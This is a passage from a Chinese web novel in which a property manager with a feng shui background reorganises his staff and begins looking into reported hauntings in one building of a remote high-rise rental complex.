“对，老三说过，荟萃亭的风水是你支的招治理的。向荣兄弟，你真的是年轻有为啊！” “郑老大，您别夸我，我还得和您说一件事。向荣军旅出身，说话很少拐弯抹角，我就有啥说啥了，说的不对的地方，你可以指正。” 我选择在城府高深的人面前做自己，因为过分的修饰和掩饰未必逃得过人家的眼睛，有可能还会起到副作用。 郑杰点头说：“向荣兄弟，我们都认识这么久了，还有什么不能聊的，你尽管说。” “荟萃亭跟我的不解之缘来自于我当兵时候的老班长刘才东，刘才东是那个园区的保安，在谢志强一家发生灭门案的时候失踪了。后来我根据奇门遁甲找到了他的方位，他被人谋杀，尸体化成了污水在名都后院的大桶里。为了找出他被杀的真相，我去了一趟谢志强的老家，看到他妈竟然也是一个人住，她还在那个老房子里等着他儿子回来接她进城一起生活。” 我停了停，看见郑杰一动不动的在听。 “老太太患有高血压，但是她不知道，我猜应该很少有人去看她，我给她把了脉、写了药方，让她交给她女儿，给她抓药。郑老大，你说我们作为儿女，这一辈子所作为何呢？难道就是自己赚钱、住大房子、开好车，自己娶妻生子、养儿防老？我们为父母考虑过这么多吗？谢志强一家住在那么大的房子里，他没有接他老妈走，也好，如果接去了，恐怕那个房子里又会多了一具尸体。” 我不再说话，开始收拾东西准备走，如果管用，那就这些就够了，如果不管用，再说什么也是不管用。 第一百零一章 都说说有什么问题 “向荣兄弟，你说梅姨还活着？”郑杰哆哆嗦嗦的问我，整个人一下子苍老了很多。 “梅姨？谢志强的妈妈？是，她还住在谢志强原来的住址。”我回。 郑杰突然就老泪纵横，“梅姨还活着！梅姨还活着！” 我不知道他为什么这么激动，这老太太怕不是跟他有什么机缘？ 我看着他发泄着悲伤的情绪，没有马上走，也没有说话。 郑杰稳定下来和我说：“向荣兄弟，我和谢志强小时候是一起长大的，他比我小几岁，但是我们能玩到一起。我小时候父母走的早，经常去谢志强家，梅姨待我像待亲儿子一样，衣服破了给我补，没鞋穿了给我做，饿了病了更是不离身的照顾我。” “志强的事情，我听说了，对不起啊！对不起梅姨啊！我没有看好他！”郑杰拍打着轮椅，喊开了，很激动。 佣人闻声走了进来，“老爷，您这是？” 郑杰看到佣人过来了，强制自己镇定，压抑着，跟佣人摆了摆手，“外面等着吧。” “向荣兄弟，我知道你要跟我说什么、希望我做什么，我会去找林警官的，你放心。我郑杰虽然做了一些错事，也做过一些挽回不了的事，但是我已经看开了，不能再拖累我的孩子。” 我看向他坚定的眼神，说：“郑老大，我信你，人走这一辈子，时间不长，离开的时候能够问心无愧，难能可贵。” 郑杰派车给我送到城中花园，一路上我都在想着郑杰喊的对不起梅姨，如果谢志强全家的死真的跟郑杰有关，那这句对不起确实太苍白了。 刚进办公室门，就接到了袁振文的电话。 “向荣，老板下个月要派特派员到各区域去视察，你这个月尽快把临市的五家物业小区熟悉和整顿一下，特派员下个月过去之前，我也会过去，给你坐镇。” “袁总，特派员是谁？这个视察主要的目的是什么呀？”我很疑惑。 “特派员有可能是家族的人，也有可能是总助，不好说。主要就是看效益，好的就发扬光大，不好的，可能就甩掉了。” “甩掉？” “对，现在物业也不好干，老板架着这么大的盘子，不瘦身也是不行的。这事你知道就好，不要搞得下面人心惶惶。再一个，如果经营的好，也轮不着瘦身。” “明白了，袁总，我马上就安排。”结束了跟袁总的通话后，我的心情很沉重。 现在辖区这几个班子，全部的人都是跟我干起来的，像江怀洲、李壮、蔡浩，这些还都是我招的，真要是被特派员给咔嚓了，让他们短时间内去哪找合适的工作？ “蔡浩，你拟一封邮件，通知几个物业的核心人员开电话会议。”我准备先把架构理出来。 开会前，我统计了一个现有人员名单，准备先把B市的锦绣、锦荣、锦源、城中花园先安排好负责人，选谁我心里已经有决定。 至于临市的5家，我需要去看看情况，然后再决定。 班子会议召开那天，B市几个楼盘的人都来了城中花园，他们要到现场参会，临市的几个人在线上。 “非常荣幸接下来的工作由我带着大家开展。B市这些成员都认识我，我是吕向荣，在咱们集团已经往第四年数了。其余线上的几个同事应该还没见过我，但是很快就会见到，我的下一步计划就是要去你们那里。今天的会议主要是把现有几个物业的现场负责人确定下来，后期会根据集团绩效考核方案进行考核，胜任新职位的过了考核期会晋升一个级别。” 在座的几个人听的摩拳擦掌，谁不希望自己可以再往更高发展发展呢，一眼见到头的日子会让人没有动力。 “临市的物业同事先说说你们那边的情况吧，我也好有个准备再过去。对了，我这个人最大的优势就是抗压性强，他强任他强、清风拂山岗那种。所以你们都不要保守，把现在最棘手的问题都说一说。” 我的话音刚落，电话那头就有个声音传过来，“吕总，能听到吗？吕总您好啊！我是四季云顶的保安队长孙一茂，我正想跟上级反映个情况呢！” 吕总？一下子不叫经理了，这个称谓我还没适应。 “老孙，你称呼我名字就行，吕总有点不接地气。你先说问题。”我问。 “这个四季云顶现在被闹鬼的事情困扰了很久了，很多租户退租啊，又因为我们在城郊，很偏，现在搞的我每天上班都发毛。”孙一茂说话不拘小节，一口气说完。 “闹鬼？这有点扯吧，你信吗？”我问。 “我是退伍军人，我怎么可能信这些，但是，但是发生了一些事情......领导啊，你快来吧，我申请你第一个来我这，电话里一句两句讲不清楚，你来了就知道了。” “好，下一个，还有谁反映问题？” “吕总您好，我是恒华国际的焦瑞，咱们这里物业团队就三个人，目前没什么事，主要是物业费收缴不上来，我们几个人办法都用尽了。”一个很年轻的男人声音。 “焦瑞，听声音，你年龄不大吧？”我问。 “我今年25，大专毕业就来我们集团了，我的岗位其实是客服。”焦瑞的措辞很职业。 “不用急，等我过去。”收缴物业费这事儿我长干，去了看看那边都是啥人物不交钱。 “还有没有？” “吕总好，我是帝豪庭的刘明玉，这里还好，我们是高端住宅，目前没什么问题。”一个女人的声音。 “刘明玉，你是物业经理吗？”我以前没听过这个名字。 “我之前是客服，林皓总接手后，给我提拔到了物业经理，这才干半年，他就走了。” 我一听，这是我林哥的死忠粉啊，跟我一样。 “好，没问题我也会过去的，去之前给你打电话。”我很想去认识认识这个女同行。 “天和人家和德邻居谁上线了？就剩你们了，怎么不发言？”我问。 “吕总好，我是德邻居的保洁王红，这边是新起的物业，只有我和工程老赵，入住率还不到30%，暂时没什么大事儿，都是小事儿，就是我俩一天太忙了，领导给我们再招几个人吧！” 我一听，哟呵，手下还有这样的盘子，这明显是团队建制不全呢，德邻居什么情况，会后我得看看，有问题不怕，没有人可不行。 “好，等我过去的，安抚好老赵，我很快就过去给你们解决。” 这一通下来，我觉得自己身上的担子真的重了，好像理解了林皓的困苦。 第一百零二章 更合适的人 “天和人家、天河人家谁来了？怎么不说话？”我询问着最后一家物业小区。 卡了好半天，就在我要结束线上的时候，有人说话了。 “您是吕向荣总吗？”这是，谁啊？称呼我大号，认识我？ “没错，我是吕向荣，您是哪一位？” “我是周天翔，那年参加集团表彰会，我见过你领奖。”我听清了对方的声音，浑厚的男中音。 这声音我判断不出他的年龄，只好说：“听声音判断不出你多大年纪，表彰会那年我是刚来咱们集团，你是哪一位？我不记得有这个名字的领奖呢！” “我没有领奖，那年我也是第一年来。天和家园这边团队人挺多的，但是谁都管事儿，也说不好谁最管事儿，今天让参加会议，他们都不上，只好我来了。” “什么叫谁都管事儿？开会了又都不上了，你那里是管理混乱呐！”我有点生气。 “吕总，这我也不好说，我就负责记录会议精神。”周天翔开始往后躲。 “集团应该是对每一个管片都有约束的，你们怎么能谁都管事儿？你管保洁、保洁的工资给你了么？” 周天翔听着我打的比方，不说话，我一看时间有限，不再恋战。 “线上的几位同事可以下去了，明天开始我就逐一走动，你们把业主档案、预算计划、任务完成情况这些报表都给我准备好，等我过去。” 线上的解决完毕，我看看在座的一屋子人，这些面孔我太熟悉了，都跟了我这么多年，我的工作风格和为人他们再了解不过了。 “各位兄弟姐妹，你们都是看着我成长到今天的，实话说，做到总这个位置，我到现在还惊着呢，还没缓过来，所以你们千万不要称呼我为什么吕总，以前叫啥，现在还叫啥，好不好？” 客服崔丹先说话了：“经理，你这是实至名归，叫总咋了，我们觉得你完全可以胜任。” “对，完全胜任” “完全胜任” ...... 我一听，得，这不跑题儿了么，赶快拉回来。 “时间紧迫，我就不多废话了，今天咱们B市的几家物业小区，就是要选出现场负责人，也就是咱们俗称的升职。升职可是升职，咱们要把丑话说在前头，这几家物业小区都是我干起来的，情况我太熟悉了，交到你们手里，绝对不允许给我掉链子，只能比我管的时候更好，绝对不能更菜，都听没听到？” 一屋子人齐刷刷的大吼一声：“知道！” 我很满意，“这音量够用！” “好，下面我宣布，城中花园由江怀洲担任现场负责人，锦源由李壮负责，锦荣交给崔丹，锦绣目前区总办公室设置在那里，我暂时代理，等我回来之后招个人上来。我出差期间，江怀洲你去盯着，你去那的时候，这边蔡浩盯着。你们有没有问题，没问题就这么决定了。” “领导，咱能不能商量商量，我一个女的，干物业经理是不是不合适？”崔丹有问题。 “崔丹，你干物业工作的时间不比我少，啥你不知道？咋的，打算干一辈子客服啊？你没听见刚才帝豪庭也是女物业经理吗？”我劝。 “可是，可是我没干过呀，我怕我干不好。”崔丹还是有问题。 “谁一开始的时候就会干？好在你一直就在物业呢，只不过从执行变为了管理，团队的人也没变，你为什么这么害怕？”我有点不耐烦了。 崔丹张张嘴还想说啥，看到我有点不耐烦了，不再说话。 “接不接啊？”我又问。 “薪资翻倍了，丫头！”李壮小声说。 崔丹眼睛一亮，“领导，真翻倍啊？” “通过考核期肯定翻倍！”我必须得把业绩摆在前位。 “行，那我干！你可不许骗我。”崔丹跟我在一起时间长了，说话没个分寸。 “我骗你？骗你啥？你有啥？” 大家一听这个，一屋子哄堂大笑。 这时候江怀洲跟我挤眼睛，我知道他有话要说。 “行了，今天就到这吧，可以回去了。我今天说了很多，你们只需要记住一点......” 我话音刚落，屋里的人齐声喊道：“绝对不允许掉链子，只能比我管的时候更好，绝对不能更菜。” 我哑然失笑，这帮人啊！ 人都走差不多了，我问江怀洲：“说吧，要说啥？” “领导，首先我是很愿意为你分担锦绣的，但是你让我两头跑这事儿不妥。再说咱们眼前有个很合适的人你为啥不用，非要可我一人薅羊毛呢？”江怀洲说。 “谁啊？谁更合适啊？”我问。 “敬之兄啊！” 哎呀，对啊，我怎么把我师哥忘记了。 他跟在我身边耳濡目染这些年了，管个物业还是没问题的。 而且风水玄学他也懂，说话办事儿也不轴。 “老江，你这个提议好，不过，我得先问问他，我师哥那人，如果他愿意，那没问题，如果他不愿意，他能把台子给你拆了。”我是了解王敬之的。 “行，那你就跟敬之谈谈，他要是不爱干，就依你的安排，你放心，我也肯定不给你掉链子。”江怀洲赶紧表态。 下班后回到宿舍，王敬之正在给我做晚饭，看着忙碌的师哥，我的心里很温暖。 “师哥，我饿了，好了没有？”我故意逗他。 “吕向荣你是不是肉皮子又紧了，是不是找打？我这忙活做饭的，这么辛苦，你不给我买点好吃的犒劳犒劳，就知道进门就要是吧？”王敬之开始了回怼。 我笑眯眯的感受着恢复后的王敬之，真好，师哥没事了。 没两分钟，饭菜都好了，我确实饿了，先吃了一碗饭，等我吃饱了再唠。 王敬之依旧是不紧不慢的吃饭，他比我优雅，在这方面我确实自愧不如。 我想了一下该怎么切入比较好，瞅瞅王敬之细嚼慢咽的样子，决定了，啥弯儿也别拐，就直接说。 “师哥，锦绣缺一个物业负责人，你上，可不？”我问。 王敬之停下夹菜的动作，看了看我，说：“没人安排了？” “确实有人安排，但是我想把这个机会留给你。有了这个事业，你就不用老想着离开去云游了。” 第一百零三章 闹鬼的四季云顶 王敬之还是慢悠悠的吃饭，也许是在考虑。 我想了想，又说：“锦绣那里，你第一次去的时候，曾经和我说过磁场有问题，但其实一直到现在也没有什么事，一切运转正常。” “怎么？你这是在质疑我的能力吗？”王敬之抬了抬眼皮。 我一看，这招儿管用了，师哥跟我一样，不接受反驳。 “我哪敢啊，我这不想着你如果去了，有啥问题你可以直接发现嘛。再说，有个工作，就有份收入，有什么不好的。也不影响你的人生目标，何乐不为？”我继续劝。 “行，吕向荣，就冲你这句话，我干了，我就不信了我的判断会出错！” 我看着王敬之倔强的面孔，心里暗暗发笑，我师哥在“套路”上肯定是没有我造诣高。 搞定了王敬之，我开始计划下一步的出行，按照会上这些人提出的问题，我准备先去四季云顶，看看到底怎么个闹鬼法。 出差之前给林翔打了电话，“老林，我要出差，最近应该都不在B市，你那边有冯晶晶的消息了吗？” “没有冯晶晶的消息，不过别担心，她是丁有生的女儿，生命危险不会有的。” “丁有生撂了吗？” “没有，心理素质很好。而且提到隐姓埋名，他说是因为他老婆跟了别人，孩子也管别人叫了爸爸，他想用新身份活下去。”林翔说。 “这算什么理由啊！”我感叹。 “这件事确实够不上犯罪，除非能知道当年发生了什么事。” “老林，郑杰去找你了吗？” “没找我，这几天一直就很安静。” “他跟我说一定会去找你的。” “找我好呀，我等着他。”林翔坦荡荡的，又继续说：“出差在外，凡事小心，我一会给你发一个我那边一个同学的联系方式，他也是警察，有事了你可以找他。” “老林，真够意思，我就不说谢谢了！” “没事挂了啊，俩大老爷们儿酸什么酸，回来了记得告诉我。” 我窃笑着结束了跟林翔的通话。 我的第一站，四季云顶。 四季云顶位于临市的郊区、四环外，在375路公交车的终点站位置。 一共有六栋单元楼，层高达到44层，楼体高度100米以上。 这视野肯定是没比了，在40层以上的户内往外看，那景观一定是独特的，但是安全隐患也无形增加。 到了目的地，我先在附近转悠了一番，感受一下地理位置和地气磁场，四周太空旷了，方圆五公里内只有这么一个园区，交通也只有这么一个375。 走进园区正门，发现路灯很少，这要是在晚上，那得多黑。 正想着，迎面有个人一路小跑的过来迎接我，要帮我拖箱子。 “吕总好！吕总啊，您真是办实事儿，这开完会第二天您就到我这儿了！” 我看着来的人，170的个头，40岁以上的年纪，老实憨厚的笑容，一定是孙一茂了。 “老孙？”我再次确认。 “对、对，吕总，我是孙一茂。来，快，咱们进屋说。” 孙一茂把我引领到物业办公室，这办公室建设在六栋楼的中庭位置，面积不算大，工位有五个。 “老孙，把大家都招呼来，我认识认识。”我放下箱子，朝着给我倒水的孙一茂说。 “好，我这就发通知。” 我一边喝水，一边看着孙一茂鼓捣着手机，他说他们有个工作群，在里面说一声就都知道了。 一杯水还没喝完，就陆陆续续的来了人，算上孙一茂，一共五个人。 我一看这阵仗，好家伙，这是老弱团队啊，目视年龄都在50左右，孙一茂还算是年轻的。 “大家好啊，我是新上任的物业经理吕向荣，你们也都做个自我介绍，我们认识一下。” “吕总好，我是客服小A，这六栋楼的客服工作都是我负责做，平时还会帮着老孙巡视，发文件、拟通知、采买啥的。”小A操着一口河南腔，思路很清晰。 “吕总好，我是负责设备维修、电梯保养这些工程工作的，我的年龄最大，就住这里的二号楼，您叫我金B就行。” “金师傅，您今年多大年纪了？”我问。 “今年59，明年退休。”金师傅笑眯眯的说。 “吕总好，我是保洁，今年55......” “吕总好，我是负责绿化还有外围垃圾清运这些供应商对接的，也帮老孙做安保，我今年50岁......” 我一看，果然不出我所料，这是中老年团队。 “你们之前的考勤、排班、总结计划这些管理工作都是谁来做的？谁跟集团对接管理？” “吕总，是我。”孙一茂回答。 “好，首先得感谢大家的付出，你们的年龄虽然不年轻了，但是工作能力一点也没受影响。四季云顶的物业收缴率排名不错，这是你们的功劳！” 几个人都开心的看着我，很高兴得到领导的认可。 “实不相瞒，我之所以把四季云顶作为这次整顿的第一站，确实是因为老孙说的闹鬼的事，世上本无鬼，庸人自扰之。这里面一定有故事，是我们还没发现。你们都和我说说，具体怎么个闹鬼法？” 保洁先发声了，“吕总啊，这件事可不是谣传，我有一天当班的时候也撞了。” “撞了？鬼？”我狐疑的问。 保洁用力的点头，然后说了事情经过。 原来一周前的一天，保洁家里有事上午请了假，下午赶回来想把晚上这遍卫生清扫完。 从一单元到三单元都没事，五、六单元也没事，但是因为垃圾比较多，她耽搁的时间比较久，所以在清扫四单元的时候，天已经黑了。 她照例先去顶楼，从最上面到最下面这样清理，可是电梯到了13楼，卡住了。 电梯一直有问题她也知道，每个月电梯被投诉的次数不低于5回，工程人员维修的时候却发现不出问题。 她被卡在13楼后，也没慌张，拿着手台开始喊孙一茂，意思让他带人来救自己出去。 她就那么一直喊，但是手台另一边什么声音都没有。 由于电梯是密闭空间，她觉得又热又憋闷，在持续性求救无果的情况下，开始踢电梯门，用手敲。 功夫不负有心人，电梯往上升了一层，又停下了，而且还开了门。 她想也没想就冲了出去，仔细一看对面的墙上写的14，竟然还有好几十层才到楼上，索性一想，就从14楼往下清理吧，其它的等电梯修好了再说。 于是她在14楼停下来后，绕到了消防通道，准备从这里开始。 可是就很突然的，她感觉身后有人。 她胆子也很大，直接就扭头往后看，她说她当时以为是业主出来了。 可是身后空空如也，什么也没有，整个楼道安静的可怕。 第一百零四章 44楼方先生的猫 她定了定神，告诉自己只是因为天晚了，楼里住户不多导致的焦虑，啥事也没有。 就在这个时候，全部的感应灯都灭了，一瞬间，她看到感应灯依次的一层亮、一层暗，一层亮了，然后熄灭，下一层又亮，就像有人在下楼走的时候一样。 她吓坏了，这时候手台有了沙沙的动静，里面是老孙的声音。 她赶紧让他们来四单元14楼带她下去。 我听完以后，觉得有点蹊跷，问孙一茂：“老孙，四季云顶入住率怎么样？我看这个位置和交通，这里太偏了。” “入住率能有个70%吧。确实偏，而且都是租户，外地人多，因为这里租金低，市内一些打工族，没什么积蓄的也在这租房。好在有375，最后一班车10点呢，出来就是园区。像金师傅这样家就住这的太少了。”老孙回答。 “金师傅，您这是在这买的房子吗？”我问。 “我老家是农村的，儿子在临市市内上班，家里就这么一个孩子，我和他妈想照顾他，就买了这里的房子，主要房价是承受范围内。他每周都回来，一家人在一起也挺好。” “金师傅，那你听说闹鬼的事情了吗？”我又问。 “我没听说。我们家住在二号楼，主路边上那排就是，挺好的啊，没感觉到什么事。”金师傅边说还边看看保洁。 “老孙，那你和小A、还有其他人，你们都住在哪？”我问剩下的几个人。 “我们这里有个宿舍，是之前林皓总给租的，租金从物业费里出。平时谁要是下班晚了就在这对付一晚。我是常住，我老家在南方。小A他们的家都在市内。”老孙回。 这时候小A也说话了，“我最近很少住这了，五点下班我就坐375回家。但是我听到四号楼44层的业主反映过闹鬼的事。” “哦？44层业主做什么工作的？具体什么内容？”我问。 客服小A讲了44楼业主方先生反映的事。 方先生是做销售工作的，工作时间很机动，不过因为位置偏僻，他晚上很少应酬到9点后再回来。 因为出租车到这费用高，只有坐375最合适，如果错过10点最后一班，就得花大钱回来。 方先生住的那间房是租的，而且整个44层就他住的那间租出去了，其余都没入住。 他有一只养了很多年的狸花猫，刚搬进来的那天，猫很反常，一直躲在床底下。 方先生以为是换了新环境猫还不太适应，就没管它。 他收拾好搬来的东西、洗过澡，准备上床睡觉，看到猫坐在床上靠近他脚的位置。 因为平时只要一睡觉，猫都会到他枕头旁边或者身子旁，所以这次他也唤它过来。 但是猫无动于衷，就在那坐着，看着门口。 夜里方先生突然醒了，他摸出手机一看是凌晨三点多，嗔怪自己换个地方怎么也不习惯了，下意识的想去旁边摸猫，可是没有摸到。 想起睡前猫在脚下，他抬起头看看脚下，发现猫还坐在脚边的位置，眼睛盯着门口。 方先生很惊讶，难不成猫一动不动的在那坐了好几个小时? 于是他又喊猫的名字，想让它过来睡觉，见猫没反应想去抱它，没想到手刚碰到猫，猫竟然朝着他哈气。 方先生被吓到了，因为这是他家猫从小到大第一次跟他哈气，他家猫性格一直都很好，连乱挠乱咬都不会。 就喊它几声、要抱它，它居然哈气，而且猫的眼睛还是看着门口的位置。 那天之后，猫的行为举止变的很怪异，以前从来不在家里跑酷，现在会在半夜的时候突然在家里乱窜，然后跑到床底下嚎叫。 还经常坐在方先生脚的位置看着门口，死死的盯着看。 方先生的睡眠质量也没有之前好了，经常半夜醒过来，都是三点左右，而且会做噩梦。 小A讲完，看着我说：“吕总，现在方先生的样子可不好了，黑眼圈重重的，整个人都没精神，像、像蔫掉了一样。” 我捏着下巴思考小A说的事情，这些情节确实不像编的。 保洁和方先生，他们的故事里的地点都是四号楼，说明问题就出在四号楼。 “除了四号楼，其它有没有什么闹鬼传言？” “其它倒是没有。”老孙回答。 “行，今天的会就到这吧，这几天我就住宿舍，我先四处看看，你们去工作吧。” 我发布完指令，这些人都陆陆续续的出去了，我跟孙一茂说：“老孙，园区的路灯不够，至少还要装十组，你去把这件事安排了，一周内我要看到结果。” 老孙有点为难的看着我，我问他：“怎么了？有什么困难？” “吕总，我们下半年的物业费就收上来30%，弄灯的钱从哪出啊？” “你先去办，钱的事我去想办法。” 老孙很痛快的去办了，我简单收拾了一下东西，准备去园区转转。 这会儿正是下午三点左右，六栋高耸入云的楼体，我抬头才能看到顶楼的样貌。 不禁感叹这超高层，长期居住在超高层里的人，运势大多都不稳定，将要面临的人生变数都比较大。 超高层住宅没有阳台或阳台内封，房子无法顺畅地进行纳气，缺乏生气必然有损长居住者的身心健康和事业发展，容易招致无休止的破财。 我转到四号楼楼下，四号楼的建筑位置正好位于一号和二号之间的缝隙处，三栋楼不在同一排，错落排列，四号的位置最不好。 进了四号楼单元门，我准备坐电梯上去看看。 正好电梯刚到一楼，迎面出来一男一女两个年轻人，他们穿着房产中介的制服。 “你们是某某房产中介的吗？”我问。 “是的，是某某房产中介。你要租房子？”其中那个女的问我。 “哦，也不算，我先来看看。这里的房子怎么样？我看租金挺便宜。”我想听听中介的怎么说。 “这里啊，这里你没听说吗？很邪门，你在哪里看的租金便宜？是不是58同城？” 还是那个女的问。 “对，就是58上看的。怎么邪门？” “说它邪门就肯定是邪门了，要不然怎么可能租金几百块钱，你看看这园区都是新楼。看你倒是像外地人，外地人不了解也正常，新楼电梯房租几百块钱，你不觉得有问题吗？”那男的说。 第一百零五章 4404和1414 我看看急于说服我的男中介，笑了笑没有说话。 这时候女中介又说话了：“您要租房的话，给我们留个联系方式吧，我帮您找房，放心找房看房我都不要你钱，成交了象征性交点中介费就行。” 男中介也跟着点头，自言自语的说：“这个小区你不能租，距离这里五公里，有个回迁新区，那里距离市内更近，旁边还多出两条公交线路，我们帮你在那边看看。” 我一听，觉得有点意思，“行啊，美女，那你记一下我的电话，不过得尽快，我那边工作要上班了。” 女的立刻开心了，拿出手机记我的电话。 我想了想又说：“钱的方面没问题，给我找大的、干净的，不要卫生间和厨房像火烧过一样那么脏的。” 男的一听我不差钱，上下打量我一番，然后把我拽到一边，神神秘秘的耳语。 “小哥，我跟你说件事，你跟我来。” 我好奇的跟着他出了四号楼，那个女中介也跟了上来，然后两个人就你一言他一语的说开了。 先说的是电梯，男中介上一个租户经常加班，回来的时候都是很晚了，因为入住率不高，他回来的时候基本上看不到什么人。 因为照明条件差，进到单元门也是一片漆黑，只有电梯旁边的自动贩卖机发出的一点微弱的光。 电梯的质量也不好，经常是晃晃悠悠的往上行，就好像承载的东西很重，爬坡费劲。 租户那天回来，电梯晃晃悠悠的往上行，平时到了所在楼层，走廊里的感应灯会亮，但是那天灯没有亮，电梯门打开，外面黑漆漆的，他凭借走廊里的“安全出口”指示牌发出来的绿光往自己家走。 没走几步，半天关不上的电梯门，突然“咣”的一声合上了，给他吓了一跳，可是这么大的响声，走廊的感应灯还是都没亮。 租户快步走到自己家房门前用钥匙开门，无意间瞥到隔壁邻居家门口有血迹。 他瞬间害怕起来，心一下子慌了，赶紧开门进屋，进屋后安静了一会儿缓过来了，想起要不要报警。 后来又想，如果真的发生了什么事，应该已经有人报过警了，可能只是有人不小心受伤了而已。 第二天早上出门上班的时候，发现走廊里的血迹已经消失了。 他还纳闷了好几天，有天晚上下班回家开始听到隔壁有一男一女说话的声音，奇怪的是前半夜都不说话，就过了凌晨十二点才说话。 有时候还会吵架、摔东西，他以为是有人搬过来了，大半夜不睡觉打架，还敲过几次墙表示抗议。 后来发现不对啊，怎么一个月了都没见过隔壁人长什么样啊？ 而且放在他们门把手上的广告，放了十多天也没见他们拿掉。 出于好奇，他打听了楼里的保洁，保洁说他住的那楼层只有他一户有人住。 租户一听吓坏了，赶紧联系男中介退了租，连押金都不要就走了。 我一听，还有这事儿，这也太诡异了，忙问他：“你说的是几楼的事？” 男中介竟然还想了一下，然后说：“14楼”。 “小哥，你等我们电话吧，我们还有其它的事，先不和你说了，找到房源联系你去看。”男中介拽着女中介匆匆忙忙的走了。 留下我站在原地无语。 14楼，这是保洁反应有问题的楼层啊，行，那就去44层和14层看看。 进了电梯，果然的，一路向上的爬行晃晃悠悠的，搞的我心里很烦躁，这工程维保咋做的？ 出了电梯门，来到44层，一片阳光，从走廊的窗户向外看去，视野真好，空旷广阔。 方先生的房间是4404，位置正好对着电梯门，在走廊的尽头。 我在整个44层转了一圈都没发现任何异常，也没发现4404有异常，我贴在门上听，里面也没有猫叫啥的。 我又折返到消防通道，这通乱的，那垃圾桶已经满了，而且看样子是好几天的，没人来收拾。 因为我想巡查，所以没做电梯，顺着消防通道走到了14层，到22层的时候，在楼道里发现一个很奇怪的纸板。 就靠在墙角，不像是谁扔掉不要的，好像还要等着用的样子，这样的纸板在接下去的几层也偶有发现。 14层的视野明显就没有44层感受好了，因为是典式结构，感觉四周的房子都一个样。 我先去看了看14楼的感应灯，确实有一个是不好用的，但是另一个可以啊。 我特意试了试感应敏感度，也没啥问题。 走了一圈，消防通道也转了转，没发现异常。 于是我下楼出了四号楼，回到物业办公室，“老孙，你来一下，我和你说点事。”我把孙一茂叫进了里间。 “领导，有什么指示？”孙一茂很恭敬的说。 “老孙，坐下说，不用这么拘束，我们好好聊聊。你是什么时间来管四季云顶的？” “开始办入住的时候我就来了，是林皓总招我上来的。”孙一茂说。 “你相信他们说的有鬼吗？”我问。 “这、领导，我不知道该怎么说。”孙一茂很犹豫。 “老孙，我说了咱俩聊聊天，你怎么想的就怎么说呗，你放心，不会给你上纲上线。” “领导，这事儿我还真见着了，没办法说自己不信。”老孙说。 “啥？你见着了？见着鬼了？”我惊掉了下巴。 “我不知道算不算鬼，但确实给我吓坏了。” “你说说，说具体！”我命令。 “我原来住的宿舍是四号楼的1414，那时候刚刚陆续的办理入住，老金他们家还没过来买房。基本上吧，楼里出入的就那么几户，我都认识。发现不对是从感应灯不亮开始的，后来我也去检查过，没发现感应灯有什么异常啊，可就是到了晚上十点后，14楼的感应灯就怎么也不亮，电梯门的声音多大也是不亮。我住的房间之前有一个租客，是某中介给介绍的，租客说屋里有问题退租了，所以一直租不出去，我就搬了进去。搬进去当天就听见隔壁小两口吵架，可是我知道啊，根本没人住啊！那可是真声音，不掺假的！” 我陷入了沉思，1414隔壁有人吵架，老孙也听见了，这说明中介说的不是假的。 可是这世上没鬼啊，问题出在哪了呢？ 第一百零六章 先有鸡还是先有鸡蛋 “老孙，这个问题有点超出我们的理解范围，容我再查几天。但是有几件事你必须在本周内办了。” “领导，你说吧，哪几件事？”老孙很认真的拿出随身携带的本子，要做记录。 “首先是四号楼的电梯，联系维保单位把晃晃悠悠的问题给解决了，还有其他全部的小问题，都要彻底解决。”我严肃的说。 “领导，咱们物业和某维保公司的服务协议早就到期了，集团一直没同意续约啊，不付钱人家也不可能来。”老孙回。 我捏捏脑袋，先有鸡还是先有鸡蛋的问题，没有钱就没法修设备，没法修设备，就收不上来钱，罗圈架。 “这个跟安装那十组路灯一样，把报价发给我，我要最准确的。”我回。 孙一茂一边点头一边记录。 “第二件事，把四号楼全部的感应灯都检查维修一遍，给老金制定维保计划，告诉老金把需要修或者换的总金额发我。” “第三，四号楼的干完之后，其余几栋的这些工作也都要干一遍。”我说。 “领导，这些干是没问题，主要是差钱。”孙一茂老实的说。 “你只负责做计划，报预算，其它的我想办法。” “还有，我今天去检查发现四号楼20层往上的垃圾都没有人收，怎么回事？保洁不管？我们是不是按照足月给她计算工资？你告诉她，就说我说的，从明天开始，我会不定期检查，再发现一次，当月奖金为零，若后续还有，那就辞退。” 孙一茂看看我，悄咪咪的记录下来。 “我今天还没去其它几栋，估计也都是高层以上不给收，入住率高与不高，跟工作干不干到位没关系，只要是有垃圾的桶，就得给我清喽！” “好的，好的领导，我这就去安排。”孙一茂起身要走。 我叫住了他，“老孙，我把集团制定的各岗位工作职责的电子版发给你，你明天都放大打印出来，全部上墙，从明天开始，谁僭越红线，我吕向荣一概不留。” 孙一茂用力的点点头，我的雷厉风行给他注入了力量。 时间很快到了第二天，前一晚我特意住在1414，想听听隔壁的动静。 跟孙一茂要钥匙的时候，他还想劝我，但是看我很坚决，啥也没说出来。 可是一整晚都很安静，什么也没有，难道，鬼怕我？ 物业的几个人来上班后，都发现了室内的变化，看着墙上挂着白纸黑字、大大的岗位职责和红线类制度规范，一个个都不说话了。 趁他们都在，我站在办公室内跟他们说：“昨天我视察了一下咱们物业的战果，很遗憾，在我这分数没及格，工程、保洁、垃圾清运，都有问题。这一回我就翻过这篇了，从今天开始，如果再被我看到有类似情况，当月奖金全扣，若再犯，对不起，请另谋高就。咱们这里就六栋楼，入住率也不高，实话说未必需要五个人。” 几个人听见我说了这么严重的话，都愣愣的看着我，“怎么昨天来的时候还表扬我们的吕总，今天突然要砸我们的饭碗？” “你们不用不理解，现在的市场，依旧是优胜劣汰，服务品质制胜，我不需要扯我后腿的员工。”说完这句我就回了我的里间。 坐下后，我静静的听着外面，没人说话。 这时候我手机响了，是个陌生的号码，我接起电话。 “小哥，我是某中介，还记得我不？我们昨天见过。”一个男人的声音。 “哦，当然记得，有事吗？”我问。 “一会儿有时间没？我在回迁新区帮你找了几个房源，你过来我带你看看。” 我想了想，又看看表，说：“行，你发给我地址，我这就去。” 我倒要看看比这里好的回迁新居什么样。 从四季云顶到回迁新居，两站地，但是明显感觉回迁新居的周围更热闹一些。 不过房子的新旧程度、内部配套、物业质量就根本没比了。 “这个小区没有物业吧？”我问。 男中介看看我，含含糊糊的说：“这里都是回迁户，大部分都是农村来的，不需要物业。” “不需要物业？垃圾清运、园区安保还有消防和安防，谁管？”我刨根问底。 男中介嗯了半天，也没说出啥，看我还在等他回答，只好说：“物业公司正在谈，谈下来就有了。回迁房，现在还归社区管这些呢。” 